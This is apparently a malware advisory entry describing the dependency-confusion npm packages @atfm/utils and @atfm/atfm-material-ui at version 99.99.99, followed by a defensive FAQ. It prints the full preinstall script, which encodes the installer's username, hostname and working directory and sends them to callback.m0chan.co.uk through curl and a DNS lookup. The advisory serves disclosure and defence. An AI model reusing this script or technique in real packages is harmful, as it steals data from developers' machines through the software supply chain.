MAL-2026-18602: Malicious code in @atfm/utils (npm)
@atfm/utils@99.99.99 is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:
b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npmpackagename" | base64 -w0); pkgsub=$(printf '%s' "$npmpackagename" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npmpackagename" | base64 -w0 | tr '+/' '-' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk
The same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.
Affected Software
Event History
Frequently Asked Questions
Who is exposed to this package?
Projects that resolve an internal @atfm package name from the public npm registry are exposed, particularly if dependency resolution selects the publicly published 99.99.99 version. The same preinstall script was present in both @atfm/utils@99.99.99 and @atfm/atfm-material-ui@99.99.99.
What must happen for the malicious behavior to run?
The package's preinstall script runs during npm install. It collects the installing username, hostname, current working directory, and package name, then attempts to transmit encoded data through an HTTPS request and a DNS lookup to callback.m0chan.co.uk.
How can I investigate whether an installation was affected?
Review dependency lockfiles and installation records for @atfm/utils@99.99.99 or @atfm/atfm-material-ui@99.99.99. Review network and DNS logs for requests to subdomains of callback.m0chan.co.uk, especially around npm installation activity.
What can be done if an affected dependency is found?
Remove the affected package from dependency manifests and lockfiles, and ensure internal @atfm packages resolve only from the intended registry rather than the public npm registry. Because the packages have been removed from npm, existing lockfiles, caches, and previously installed dependencies should still be checked.